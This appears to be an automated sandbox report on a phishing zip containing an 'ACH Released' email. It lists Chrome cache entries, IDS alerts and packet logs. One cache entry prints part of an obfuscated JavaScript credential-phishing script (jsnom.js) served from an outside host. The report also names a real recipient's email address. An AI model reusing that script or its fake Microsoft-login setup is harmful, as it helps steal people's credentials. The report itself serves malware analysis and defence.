Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><title>assets</title><rect width="48" height="48" fill="none"/><path d="M38,14H10V34H38V14m2,22H8V12H40V36M17.688,18.8V28.828H15.531V21.234a3.2,3.2,0,0,1-.672.43l-.266.117a2.55,2.55,0,0,1-.562.188,2.423,2.423,0,0,1-.3.07q-.141.023-.281.055V20.266q.422-.125.813-.281t.766-.344a8.253,8.253,0,0,0,1.344-.844h1.313m4.531,8.234h4.156v1.8H19.859v-.75a3.292,3.292,0,0,1,.25-1.344,4.183,4.183,0,0,1,.625-1.078,5.7,5.7,0,0,1,.844-.828q.219-.187.438-.352t.422-.32q.453-.312.766-.578a2.593,2.593,0,0,0,.3-.281l.25-.281a3.148,3.148,0,0,0,.328-.562,1.59,1.59,0,0,0,.109-.609,1.176,1.176,0,0,0-.359-.937,1.552,1.552,0,0,0-1.078-.328,3.625,3.625,0,0,0-2.422,1V19.688a4.866,4.866,0,0,1,1.359-.625,5.548,5.548,0,0,1,1.516-.2,4.456,4.456,0,0,1,1.344.188,2.461,2.461,0,0,1,1,.563,2.242,2.242,0,0,1,.625.875,3.007,3.007,0,0,1,.219,1.156,3.538,3.538,0,0,1-.055.641,3.7,3.7,0,0,1-.148.563,3.439,3.439,0,0,1-.562.953,7.2,7.2,0,0,1-.8.8q-.21

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	1.1540235446668508
Encrypted:	false
SSDEEP:	6:hlQeaqem0F2LkaqUEp/lMyM1kAWpj6Uq82l/n5555nD5555n:hl/aj2oaqpD7Mq2lB555nD5555n
MD5:	FEFF65CBCD278628D804C393CFEDB1A3
SHA1:	18FD8CACE3E63094A516CA7D0AB3278821ED5E31
SHA-256:	626F2477385BF5AB66834A4296F32FFFFFA831814B7E2B8F9E79CC2FD959958D
SHA-512:	3777C3EE89734B081B6584B8D4A385BDA129EBD5CB8BF77301C13E4BA86AF1CCF6FF555662FC8FDC33B68B8FAB17673621AA23F0F558A8686761C80BF4470A40
Malicious:	false
Preview:	............ .h.......(....... ..... ..................................................................................................................................................................................................................................................................................................................................................................................................i.......................i.m.i...i...i..i.T.i...i.......i...i.......O.c.....................i..i.9.i...i..Z5...i...i...i...i...i.Z.....O.......................i...i..i...i.......i...i...i...i..-................................i...i...i..i.......i...i...i.1.i..-....................................\.Y..................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	2228
Entropy (8bit):	7.82817506159911
Encrypted:	false
SSDEEP:	48:4/6MuQu6DYYEcBDlBVzqawiHI1Oupgl8m7NCnagQJFknwD:4SabhtXqMHyCl8m7N0ag6D
MD5:	EF9941290C50CD3866E2BA6B793F010D
SHA1:	4736508C795667DCEA21F8D864233031223B7832
SHA-256:	1B9EFB22C938500971AAC2B2130A475FA23684DD69E43103894968DF83145B8A
SHA-512:	A0C69C70117C5713CAF8B12F3B6E8BBB9CDAF72768E5DB9DB5831A3C37541B87613C6B020DD2F9B8760064A8C7337F175E7234BFE776EEE5E3588DC5662419D9
Malicious:	false
URL:	https://www.gstatic.com/recaptcha/api2/logo_48.png
Preview:	.PNG........IHDR...0...0.....W.......gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....bKGD.......C......pHYs.................IDATh...P....=..8.....Nx. ..PlP8..;.C.1iL#6....Z..!......3.po .o.L.i.I..1fl..4..ujL&6$...............w...........,Z..z. ~.....\.._.C.eK...g..%..P..L7...96..q....L.....k6.....,xz.._......B."#...L(n..f..Yb....8.;....K)N...H).%.F"Ic.LB.........jG.uD..B....Tm....T..).A.}D.f..3.V.....O.....t_..].x.{o..........x?!W...j..@..G=Ed.XF.........J..E?../]..?p..W..H..d5% WA+.....)2r..+..'qk8.../HS.[...u..z.P.....-.A.}.......I .P.....S....\|...)..KS4....I.....W...@....S.s..s..$`.X9.....E.x.=.u.iJ...........k......'...!.a....*+.....(...S..\h....@............I.$..%.2....l......a.\|.....U....y.....t..8....TF.o.p.+.@<.g........-.M.....:.@..(.......@......>..=.ofm.WM{...e..,..D.r.......w....T.L.os..T@Rv..;.....9....56<.x...........2.k.1....dd.V.....m..y5../4\|...G.p.V.......6...}.....B........5...&..v..yTd.6...../m.K...(.

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 7390
Category:	downloaded
Size (bytes):	2407
Entropy (8bit):	7.900400471609788
Encrypted:	false
SSDEEP:	48:XVBUIsjnR4Zg0ddZ8E5EyQk7J0e+r/9lifUUuHDM3oOY+:XUIIKZg0ddZdEzTsfUUmyY+
MD5:	9D372E951D45A26EDE2DC8B417AAE4F8
SHA1:	84F97A777B6C33E2947E6D0BD2BFCFFEC601785A
SHA-256:	4E9C9141705E9A4D83514CEE332148E1E92126376D049DAED9079252FA9F9212
SHA-512:	78F5AA71EA44FF18BA081288F13AD118DB0E1B9C8D4D321ED40DCAB29277BD171BBB25BA7514566BBD4E25EA416C066019077FAA43E6ED781A29ADB683D218E2
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/picker_verify_fluent_authenticator_59892f1e05e3adf9fd2f71b42d92a27f.svg
Preview:	...........Y=s.8......mr...f.y....8.R...l.Nk.l..?....{$.l\|e'zM.3...............S(..........O./......Mn.e..O..7.O.?=..?........../...~yy._t....8.a........~.....+..$..*..z..\....~..Jx\|............\|y...=................./.3....kN2...H...;<sy....H..?2..q5.0.0....f......L.^..v.W.L..7XCm8.I...6\.p.....O/%sX..I.......u............yE......$q....1/.....W....Zg...w..-..v....x...N)........R....c.W5.=...{_1_...+.#.......e...K..:..b.Ec...!...".I1../2X.....].i.sAF;^.1....1/UM.[r..d...>RX..U...<..1...V.\|.......X.jX:..0...9..F.KsT...{.6,.._Q..9.b...Q)..0.R.t.u.JN..u$V.%X.9k..t.."..Q.........y.V.Z$7.q.{......k.......W....5.x..K.."y...=......4...h\|!....r.."v\f`..c+.......b..hc.jn....0.&G..m.=.@..6../......6....tM^.&3.$......~.....m2...wFs..#5.Hy..?...r.p.O.X.'n...Z8L......7.;..QWGnr.sY..n...3.Jfq..+{m....\...X.q...0...0...........}}d...33.....Q...F$.8..v..UH&.H........0.q..n...q...F.Y7...u..B>..J.A.....$.,....w......Z..oe..w..%....$[+.......d...

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (64593)
Category:	downloaded
Size (bytes):	100221
Entropy (8bit):	4.5172483519347795
Encrypted:	false
SSDEEP:	1536:ib8J+apQ3jx2wtA4+eS6e6+mitQT3TLJCLaRlAC:ix2wtA4+eS6e6+XE3TLJCLIlAC
MD5:	36347E6D3871E020ACDFB30E3F4E34F6
SHA1:	DEA3861A340710939E2BC90C5256543E873B2158
SHA-256:	EA8FC4058EE8385E9B530DAC5A985D72ECFB9DC570F80410052D1EE24BD73205
SHA-512:	2A60C0B4555B3B2CC4919C4D358F8DDD68D77402EB26A73A6119F2DD39165443AE5EC176C4C1962E683E0F064E059FA51682F01E6E2F5F0AD2BF82E329D54E7C
Malicious:	false
URL:	https://marty-n.com/o/jsnom.js
Preview:	function _0x1fae(_0x34ba19, _0x598b18) { const _0x59eb05 = _0x59eb(); return _0x1fae = function(_0x1fae59, _0x391fd5) { _0x1fae59 = _0x1fae59 - 0xea; let _0xcbc169 = _0x59eb05[_0x1fae59]; return _0xcbc169; }, _0x1fae(_0x34ba19, _0x598b18); }(function(_0x3ed08f, _0x56c8b3) {. const _0x2019c0 = _0x1fae,. _0x43cc63 = _0x3ed08f();. while (!![]) {. try {. const _0x262285 = parseInt(_0x2019c0(0x121)) / 0x1 + -parseInt(_0x2019c0(0x170)) / 0x2 + -parseInt(_0x2019c0(0x14b)) / 0x3 + -parseInt(_0x2019c0(0x14d)) / 0x4 + -parseInt(_0x2019c0(0x14c)) / 0x5 + -parseInt(_0x2019c0(0x118)) / 0x6 + parseInt(_0x2019c0(0x171)) / 0x7;. if (_0x262285 === _0x56c8b3) break;. else _0x43cc63['push'](_0x43cc63['shift']());. } catch (_0x3070ea) { _0x43cc63['push'](_0x43cc63['shift']()); }. }.}(_0x59eb, 0x27508), window['addEventListener']('load', function() {. const _0x1706f4 = _0x1fae;. document[_0x1706f4(0x166)][_0x1706f4(0x102)](_0x1706f4(0x151

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2228
Entropy (8bit):	7.82817506159911
Encrypted:	false
SSDEEP:	48:4/6MuQu6DYYEcBDlBVzqawiHI1Oupgl8m7NCnagQJFknwD:4SabhtXqMHyCl8m7N0ag6D
MD5:	EF9941290C50CD3866E2BA6B793F010D
SHA1:	4736508C795667DCEA21F8D864233031223B7832
SHA-256:	1B9EFB22C938500971AAC2B2130A475FA23684DD69E43103894968DF83145B8A
SHA-512:	A0C69C70117C5713CAF8B12F3B6E8BBB9CDAF72768E5DB9DB5831A3C37541B87613C6B020DD2F9B8760064A8C7337F175E7234BFE776EEE5E3588DC5662419D9
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....bKGD.......C......pHYs.................IDATh...P....=..8.....Nx. ..PlP8..;.C.1iL#6....Z..!......3.po .o.L.i.I..1fl..4..ujL&6$...............w...........,Z..z. ~.....\.._.C.eK...g..%..P..L7...96..q....L.....k6.....,xz.._......B."#...L(n..f..Yb....8.;....K)N...H).%.F"Ic.LB.........jG.uD..B....Tm....T..).A.}D.f..3.V.....O.....t_..].x.{o..........x?!W...j..@..G=Ed.XF.........J..E?../]..?p..W..H..d5% WA+.....)2r..+..'qk8.../HS.[...u..z.P.....-.A.}.......I .P.....S....\|...)..KS4....I.....W...@....S.s..s..$`.X9.....E.x.=.u.iJ...........k......'...!.a....*+.....(...S..\h....@............I.$..%.2....l......a.\|.....U....y.....t..8....TF.o.p.+.@<.g........-.M.....:.@..(.......@......>..=.ofm.WM{...e..,..D.r.......w....T.L.os..T@Rv..;.....9....56<.x...........2.k.1....dd.V.....m..y5../4\|...G.p.V.......6...}.....B........5...&..v..yTd.6...../m.K...(.

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 513
Category:	downloaded
Size (bytes):	276
Entropy (8bit):	7.316609873335077
Encrypted:	false
SSDEEP:	6:XtqDFR4m68lkQfanvbEzXI0iP427cnLPw6/aqqmb/:XUD34sMDaXI0demb/
MD5:	4E3510919D29D18EEB6E3E8B2687D2F5
SHA1:	31522A9EC576A462C3F1FFA65C010D4EB77E9A85
SHA-256:	1707BE1284617ACC0A66A14448207214D55C3DA4AAF25854E137E138E089257E
SHA-512:	DFAD29E3CF9E51D1749961B47382A5151B1F3C98DEABF2B63742EB6B7F7743EE9B605D646A730CF3E087D4F07E43107C8A01FF5F68020C7BF933EBA370175682
Malicious:	false
URL:	https://logincdn.msauth.net/shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg
Preview:	...........Q=o. ..+.......=t....E.k["...../g;n.,....{.......2....e.......J).8..).5.....>,.ih...^s...&M.Ta..m........C.N5.G.!.-...}.9.~........u.3..@i..qK.U.......E.........S.......A.....6...G..g...,f3g.5F..I...G@<..L.:`.N&.?R....d..(.7._....z.L.......s....

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1636
Entropy (8bit):	4.214613323368661
Encrypted:	false
SSDEEP:	24:t4pb8W1baAcycV1i21AL5Xr/fJzWTtDYnpTyuwa+BDhMXeDFF6+/OKgXOgWKZsHz:zdyb2+jfJz+sFyN3BdMeFF52KgeTksHz
MD5:	F7AB697E65B83CE9870A4736085DEEEC
SHA1:	5FF40BFF26B523FBBEAA5228A2AAC63E44AFAA90
SHA-256:	CBB3706E65B35A43BDCFEBD23B5479DC0542CA7E23197869B683D12B524472FE
SHA-512:	158874143CE65485348813431BB585227772F315234E08158A329DF98319AA5F1DB21DEF2AD7CAA5C25AD11660E7D4E05158CFA1198913A33B1B91676C4CA402
Malicious:	false
URL:	https://aadcdn.msftauth.net/shared/1.0/content/images/picker_verify_code_b41922ebdaebec16b19999fc6054a15a.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><title>assets</title><rect width="48" height="48" fill="none"/><path d="M38,14H10V34H38V14m2,22H8V12H40V36M17.688,18.8V28.828H15.531V21.234a3.2,3.2,0,0,1-.672.43l-.266.117a2.55,2.55,0,0,1-.562.188,2.423,2.423,0,0,1-.3.07q-.141.023-.281.055V20.266q.422-.125.813-.281t.766-.344a8.253,8.253,0,0,0,1.344-.844h1.313m4.531,8.234h4.156v1.8H19.859v-.75a3.292,3.292,0,0,1,.25-1.344,4.183,4.183,0,0,1,.625-1.078,5.7,5.7,0,0,1,.844-.828q.219-.187.438-.352t.422-.32q.453-.312.766-.578a2.593,2.593,0,0,0,.3-.281l.25-.281a3.148,3.148,0,0,0,.328-.562,1.59,1.59,0,0,0,.109-.609,1.176,1.176,0,0,0-.359-.937,1.552,1.552,0,0,0-1.078-.328,3.625,3.625,0,0,0-2.422,1V19.688a4.866,4.866,0,0,1,1.359-.625,5.548,5.548,0,0,1,1.516-.2,4.456,4.456,0,0,1,1.344.188,2.461,2.461,0,0,1,1,.563,2.242,2.242,0,0,1,.625.875,3.007,3.007,0,0,1,.219,1.156,3.538,3.538,0,0,1-.055.641,3.7,3.7,0,0,1-.148.563,3.439,3.439,0,0,1-.562.953,7.2,7.2,0,0,1-.8.8q-.21

Static File Info

General

File type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Entropy (8bit):	7.963100340785422
TrID:	ZIP compressed archive (8000/1) 100.00%
File name:	zip file.zip
File size:	40'716 bytes
MD5:	d3399bfa41bf597bc09c1937d775e685
SHA1:	69606947338e9c0c5090e4b0b8b84a03b9d6e67f
SHA256:	5365a73cc664ffa93fa4f308c69b4f3f5961a9cb253186faef681f74ef104f7f
SHA512:	08105c5f4297ad4f2c847866a3e9af67fb063ea66efab904b837d26c7ef2fe96ad6ff9f35d7a1506c716d7d3758e3635915d0f4c9528c3fa03470452daff83ff
SSDEEP:	768:HQCjgBbE+IP1Vvsch3XdO3k0f6WGqfAxVxCNW+FQHqgV4UHDXE1mUgkA6TplEp8w:wCjgB1IPkCHd/HWLIHwNyqULz6m36Mh
TLSH:	9303F11549612B65F47DEC7D1A8306638CD4822F6ECD023940ED20BE4FE13275AAF9BB
File Content Preview:	PK..........CY....lN......]...Rob.Kuster@stonhard.com (Primary)\Recoverable Items\Purges\ACH Released 10%2F2%2F2024 Ref.msg.}.`cGy...k..l..}X.\....aI>.kK..cm...3.....%.+..#.l ..-Ph.r..P.6....R.r.#.Ji.M(............7.f.d[..&..o..i......o........g......uOh.

File Icon


Icon Hash:	1c1c1e4e4ececedc

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-25T22:08:02.004929+0200	2056643	ET PHISHING Javascript Browser Fingerprinting POST Request	2	192.168.2.16	49719	185.45.66.155	443	TCP
2024-10-25T22:08:03.531240+0200	2056316	ET PHISHING Generic Credential Phish Landing Page (jsnom.js)	1	192.168.2.16	49721	185.45.66.155	443	TCP
2024-10-25T22:08:05.517796+0200	2056316	ET PHISHING Generic Credential Phish Landing Page (jsnom.js)	1	192.168.2.16	49723	185.45.66.155	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 25, 2024 22:07:15.466614962 CEST	49673	443	192.168.2.16	204.79.197.203
Oct 25, 2024 22:07:15.770334005 CEST	49673	443	192.168.2.16	204.79.197.203
Oct 25, 2024 22:07:16.375339031 CEST	49673	443	192.168.2.16	204.79.197.203
Oct 25, 2024 22:07:17.585454941 CEST	49673	443	192.168.2.16	204.79.197.203
Oct 25, 2024 22:07:18.431658983 CEST	49689	80	192.168.2.16	192.229.211.108
Oct 25, 2024 22:07:19.990349054 CEST	49673	443	192.168.2.16	204.79.197.203
Oct 25, 2024 22:07:21.670783043 CEST	49700	443	192.168.2.16	184.28.90.27
Oct 25, 2024 22:07:21.670821905 CEST	443	49700	184.28.90.27	192.168.2.16
Oct 25, 2024 22:07:21.670994997 CEST	49700	443	192.168.2.16	184.28.90.27
Oct 25, 2024 22:07:21.672441006 CEST	49700	443	192.168.2.16	184.28.90.27
Oct 25, 2024 22:07:21.672449112 CEST	443	49700	184.28.90.27	192.168.2.16
Oct 25, 2024 22:07:22.563450098 CEST	443	49700	184.28.90.27	192.168.2.16
Oct 25, 2024 22:07:22.563528061 CEST	49700	443	192.168.2.16	184.28.90.27
Oct 25, 2024 22:07:22.567059040 CEST	49700	443	192.168.2.16	184.28.90.27
Oct 25, 2024 22:07:22.567065001 CEST	443	49700	184.28.90.27	192.168.2.16
Oct 25, 2024 22:07:22.567301989 CEST	443	49700	184.28.90.27	192.168.2.16
Oct 25, 2024 22:07:22.614991903 CEST	49700	443	192.168.2.16	184.28.90.27
Oct 25, 2024 22:07:22.655333042 CEST	443	49700	184.28.90.27	192.168.2.16
Oct 25, 2024 22:07:22.869287014 CEST	443	49700	184.28.90.27	192.168.2.16
Oct 25, 2024 22:07:22.869352102 CEST	443	49700	184.28.90.27	192.168.2.16
Oct 25, 2024 22:07:22.869409084 CEST	49700	443	192.168.2.16	184.28.90.27
Oct 25, 2024 22:07:22.869465113 CEST	49700	443	192.168.2.16	184.28.90.27
Oct 25, 2024 22:07:22.869477034 CEST	443	49700	184.28.90.27	192.168.2.16
Oct 25, 2024 22:07:22.869488955 CEST	49700	443	192.168.2.16	184.28.90.27
Oct 25, 2024 22:07:22.869493008 CEST	443	49700	184.28.90.27	192.168.2.16
Oct 25, 2024 22:07:22.909013033 CEST	49701	443	192.168.2.16	184.28.90.27
Oct 25, 2024 22:07:22.909112930 CEST	443	49701	184.28.90.27	192.168.2.16
Oct 25, 2024 22:07:22.909223080 CEST	49701	443	192.168.2.16	184.28.90.27
Oct 25, 2024 22:07:22.909573078 CEST	49701	443	192.168.2.16	184.28.90.27
Oct 25, 2024 22:07:22.909610033 CEST	443	49701	184.28.90.27	192.168.2.16
Oct 25, 2024 22:07:23.636934042 CEST	49678	443	192.168.2.16	20.189.173.10
Oct 25, 2024 22:07:23.758318901 CEST	443	49701	184.28.90.27	192.168.2.16
Oct 25, 2024 22:07:23.758642912 CEST	49701	443	192.168.2.16	184.28.90.27
Oct 25, 2024 22:07:23.759978056 CEST	49701	443	192.168.2.16	184.28.90.27
Oct 25, 2024 22:07:23.760006905 CEST	443	49701	184.28.90.27	192.168.2.16
Oct 25, 2024 22:07:23.760272026 CEST	443	49701	184.28.90.27	192.168.2.16
Oct 25, 2024 22:07:23.761579037 CEST	49701	443	192.168.2.16	184.28.90.27
Oct 25, 2024 22:07:23.803363085 CEST	443	49701	184.28.90.27	192.168.2.16
Oct 25, 2024 22:07:23.940496922 CEST	49678	443	192.168.2.16	20.189.173.10
Oct 25, 2024 22:07:24.006448030 CEST	443	49701	184.28.90.27	192.168.2.16
Oct 25, 2024 22:07:24.006505966 CEST	443	49701	184.28.90.27	192.168.2.16
Oct 25, 2024 22:07:24.006725073 CEST	49701	443	192.168.2.16	184.28.90.27
Oct 25, 2024 22:07:24.007463932 CEST	49701	443	192.168.2.16	184.28.90.27
Oct 25, 2024 22:07:24.007463932 CEST	49701	443	192.168.2.16	184.28.90.27
Oct 25, 2024 22:07:24.007514954 CEST	443	49701	184.28.90.27	192.168.2.16
Oct 25, 2024 22:07:24.007529974 CEST	443	49701	184.28.90.27	192.168.2.16
Oct 25, 2024 22:07:24.545658112 CEST	49678	443	192.168.2.16	20.189.173.10
Oct 25, 2024 22:07:24.799372911 CEST	49673	443	192.168.2.16	204.79.197.203
Oct 25, 2024 22:07:25.753385067 CEST	49678	443	192.168.2.16	20.189.173.10
Oct 25, 2024 22:07:28.094513893 CEST	49680	80	192.168.2.16	192.229.211.108
Oct 25, 2024 22:07:28.158390999 CEST	49678	443	192.168.2.16	20.189.173.10
Oct 25, 2024 22:07:28.397392035 CEST	49680	80	192.168.2.16	192.229.211.108
Oct 25, 2024 22:07:29.004374027 CEST	49680	80	192.168.2.16	192.229.211.108
Oct 25, 2024 22:07:30.024759054 CEST	49703	443	192.168.2.16	52.149.20.212
Oct 25, 2024 22:07:30.024846077 CEST	443	49703	52.149.20.212	192.168.2.16
Oct 25, 2024 22:07:30.024939060 CEST	49703	443	192.168.2.16	52.149.20.212
Oct 25, 2024 22:07:30.025868893 CEST	49703	443	192.168.2.16	52.149.20.212
Oct 25, 2024 22:07:30.025903940 CEST	443	49703	52.149.20.212	192.168.2.16
Oct 25, 2024 22:07:30.214375973 CEST	49680	80	192.168.2.16	192.229.211.108
Oct 25, 2024 22:07:30.926059961 CEST	443	49703	52.149.20.212	192.168.2.16
Oct 25, 2024 22:07:30.926141977 CEST	49703	443	192.168.2.16	52.149.20.212
Oct 25, 2024 22:07:30.929063082 CEST	49703	443	192.168.2.16	52.149.20.212
Oct 25, 2024 22:07:30.929105997 CEST	443	49703	52.149.20.212	192.168.2.16
Oct 25, 2024 22:07:30.929383039 CEST	443	49703	52.149.20.212	192.168.2.16
Oct 25, 2024 22:07:30.969361067 CEST	49703	443	192.168.2.16	52.149.20.212
Oct 25, 2024 22:07:30.986150026 CEST	49703	443	192.168.2.16	52.149.20.212
Oct 25, 2024 22:07:31.027344942 CEST	443	49703	52.149.20.212	192.168.2.16
Oct 25, 2024 22:07:31.407378912 CEST	443	49703	52.149.20.212	192.168.2.16
Oct 25, 2024 22:07:31.407398939 CEST	443	49703	52.149.20.212	192.168.2.16
Oct 25, 2024 22:07:31.407408953 CEST	443	49703	52.149.20.212	192.168.2.16
Oct 25, 2024 22:07:31.407490969 CEST	443	49703	52.149.20.212	192.168.2.16
Oct 25, 2024 22:07:31.407527924 CEST	49703	443	192.168.2.16	52.149.20.212
Oct 25, 2024 22:07:31.407569885 CEST	443	49703	52.149.20.212	192.168.2.16
Oct 25, 2024 22:07:31.407591105 CEST	443	49703	52.149.20.212	192.168.2.16
Oct 25, 2024 22:07:31.407618999 CEST	49703	443	192.168.2.16	52.149.20.212
Oct 25, 2024 22:07:31.407618999 CEST	49703	443	192.168.2.16	52.149.20.212
Oct 25, 2024 22:07:31.407651901 CEST	49703	443	192.168.2.16	52.149.20.212
Oct 25, 2024 22:07:31.408217907 CEST	443	49703	52.149.20.212	192.168.2.16
Oct 25, 2024 22:07:31.408298016 CEST	49703	443	192.168.2.16	52.149.20.212
Oct 25, 2024 22:07:31.408301115 CEST	443	49703	52.149.20.212	192.168.2.16
Oct 25, 2024 22:07:31.408351898 CEST	49703	443	192.168.2.16	52.149.20.212
Oct 25, 2024 22:07:31.421838999 CEST	49703	443	192.168.2.16	52.149.20.212
Oct 25, 2024 22:07:31.421876907 CEST	443	49703	52.149.20.212	192.168.2.16
Oct 25, 2024 22:07:31.421904087 CEST	49703	443	192.168.2.16	52.149.20.212
Oct 25, 2024 22:07:31.421917915 CEST	443	49703	52.149.20.212	192.168.2.16
Oct 25, 2024 22:07:32.621356010 CEST	49680	80	192.168.2.16	192.229.211.108
Oct 25, 2024 22:07:32.970412970 CEST	49678	443	192.168.2.16	20.189.173.10
Oct 25, 2024 22:07:34.402400017 CEST	49673	443	192.168.2.16	204.79.197.203
Oct 25, 2024 22:07:35.235980034 CEST	49708	443	192.168.2.16	40.126.32.140
Oct 25, 2024 22:07:35.236068010 CEST	443	49708	40.126.32.140	192.168.2.16
Oct 25, 2024 22:07:35.236172915 CEST	49708	443	192.168.2.16	40.126.32.140
Oct 25, 2024 22:07:35.237379074 CEST	49708	443	192.168.2.16	40.126.32.140
Oct 25, 2024 22:07:35.237418890 CEST	443	49708	40.126.32.140	192.168.2.16
Oct 25, 2024 22:07:36.350147009 CEST	443	49708	40.126.32.140	192.168.2.16
Oct 25, 2024 22:07:36.350250959 CEST	49708	443	192.168.2.16	40.126.32.140
Oct 25, 2024 22:07:36.453845024 CEST	49708	443	192.168.2.16	40.126.32.140
Oct 25, 2024 22:07:36.453905106 CEST	443	49708	40.126.32.140	192.168.2.16
Oct 25, 2024 22:07:36.454150915 CEST	443	49708	40.126.32.140	192.168.2.16
Oct 25, 2024 22:07:36.455218077 CEST	49708	443	192.168.2.16	40.126.32.140
Oct 25, 2024 22:07:36.455218077 CEST	49708	443	192.168.2.16	40.126.32.140
Oct 25, 2024 22:07:36.455271959 CEST	443	49708	40.126.32.140	192.168.2.16
Oct 25, 2024 22:07:36.976100922 CEST	443	49708	40.126.32.140	192.168.2.16
Oct 25, 2024 22:07:36.976125002 CEST	443	49708	40.126.32.140	192.168.2.16
Oct 25, 2024 22:07:36.976193905 CEST	49708	443	192.168.2.16	40.126.32.140
Oct 25, 2024 22:07:36.976214886 CEST	443	49708	40.126.32.140	192.168.2.16
Oct 25, 2024 22:07:36.976280928 CEST	443	49708	40.126.32.140	192.168.2.16
Oct 25, 2024 22:07:36.976317883 CEST	49708	443	192.168.2.16	40.126.32.140
Oct 25, 2024 22:07:36.976705074 CEST	49708	443	192.168.2.16	40.126.32.140
Oct 25, 2024 22:07:36.976705074 CEST	49708	443	192.168.2.16	40.126.32.140
Oct 25, 2024 22:07:36.976886988 CEST	443	49708	40.126.32.140	192.168.2.16
Oct 25, 2024 22:07:36.976917982 CEST	443	49708	40.126.32.140	192.168.2.16
Oct 25, 2024 22:07:36.976968050 CEST	49708	443	192.168.2.16	40.126.32.140
Oct 25, 2024 22:07:37.077117920 CEST	49709	443	192.168.2.16	40.126.32.140
Oct 25, 2024 22:07:37.077194929 CEST	443	49709	40.126.32.140	192.168.2.16
Oct 25, 2024 22:07:37.077311993 CEST	49709	443	192.168.2.16	40.126.32.140
Oct 25, 2024 22:07:37.077508926 CEST	49709	443	192.168.2.16	40.126.32.140
Oct 25, 2024 22:07:37.077534914 CEST	443	49709	40.126.32.140	192.168.2.16
Oct 25, 2024 22:07:37.427381992 CEST	49680	80	192.168.2.16	192.229.211.108
Oct 25, 2024 22:07:38.213048935 CEST	443	49709	40.126.32.140	192.168.2.16
Oct 25, 2024 22:07:38.213143110 CEST	49709	443	192.168.2.16	40.126.32.140
Oct 25, 2024 22:07:38.220587015 CEST	49709	443	192.168.2.16	40.126.32.140
Oct 25, 2024 22:07:38.220613003 CEST	443	49709	40.126.32.140	192.168.2.16
Oct 25, 2024 22:07:38.220963001 CEST	443	49709	40.126.32.140	192.168.2.16
Oct 25, 2024 22:07:38.221391916 CEST	49709	443	192.168.2.16	40.126.32.140
Oct 25, 2024 22:07:38.221438885 CEST	49709	443	192.168.2.16	40.126.32.140
Oct 25, 2024 22:07:38.221492052 CEST	443	49709	40.126.32.140	192.168.2.16
Oct 25, 2024 22:07:38.621474028 CEST	443	49709	40.126.32.140	192.168.2.16
Oct 25, 2024 22:07:38.621506929 CEST	443	49709	40.126.32.140	192.168.2.16
Oct 25, 2024 22:07:38.621597052 CEST	443	49709	40.126.32.140	192.168.2.16
Oct 25, 2024 22:07:38.621726990 CEST	49709	443	192.168.2.16	40.126.32.140
Oct 25, 2024 22:07:38.621727943 CEST	49709	443	192.168.2.16	40.126.32.140
Oct 25, 2024 22:07:38.621793032 CEST	443	49709	40.126.32.140	192.168.2.16
Oct 25, 2024 22:07:38.621973991 CEST	49709	443	192.168.2.16	40.126.32.140
Oct 25, 2024 22:07:38.622180939 CEST	443	49709	40.126.32.140	192.168.2.16
Oct 25, 2024 22:07:38.622215986 CEST	49709	443	192.168.2.16	40.126.32.140
Oct 25, 2024 22:07:38.622237921 CEST	443	49709	40.126.32.140	192.168.2.16
Oct 25, 2024 22:07:38.622291088 CEST	49709	443	192.168.2.16	40.126.32.140
Oct 25, 2024 22:07:38.668525934 CEST	49711	443	192.168.2.16	40.126.32.140
Oct 25, 2024 22:07:38.668596983 CEST	443	49711	40.126.32.140	192.168.2.16
Oct 25, 2024 22:07:38.668699980 CEST	49711	443	192.168.2.16	40.126.32.140
Oct 25, 2024 22:07:38.668876886 CEST	49711	443	192.168.2.16	40.126.32.140
Oct 25, 2024 22:07:38.668905973 CEST	443	49711	40.126.32.140	192.168.2.16
Oct 25, 2024 22:07:39.824455976 CEST	443	49711	40.126.32.140	192.168.2.16
Oct 25, 2024 22:07:39.825047016 CEST	49711	443	192.168.2.16	40.126.32.140
Oct 25, 2024 22:07:39.825128078 CEST	443	49711	40.126.32.140	192.168.2.16
Oct 25, 2024 22:07:39.828054905 CEST	49711	443	192.168.2.16	40.126.32.140
Oct 25, 2024 22:07:39.828073978 CEST	443	49711	40.126.32.140	192.168.2.16
Oct 25, 2024 22:07:39.828130007 CEST	49711	443	192.168.2.16	40.126.32.140
Oct 25, 2024 22:07:39.828146935 CEST	443	49711	40.126.32.140	192.168.2.16
Oct 25, 2024 22:07:40.182467937 CEST	443	49711	40.126.32.140	192.168.2.16
Oct 25, 2024 22:07:40.182506084 CEST	443	49711	40.126.32.140	192.168.2.16
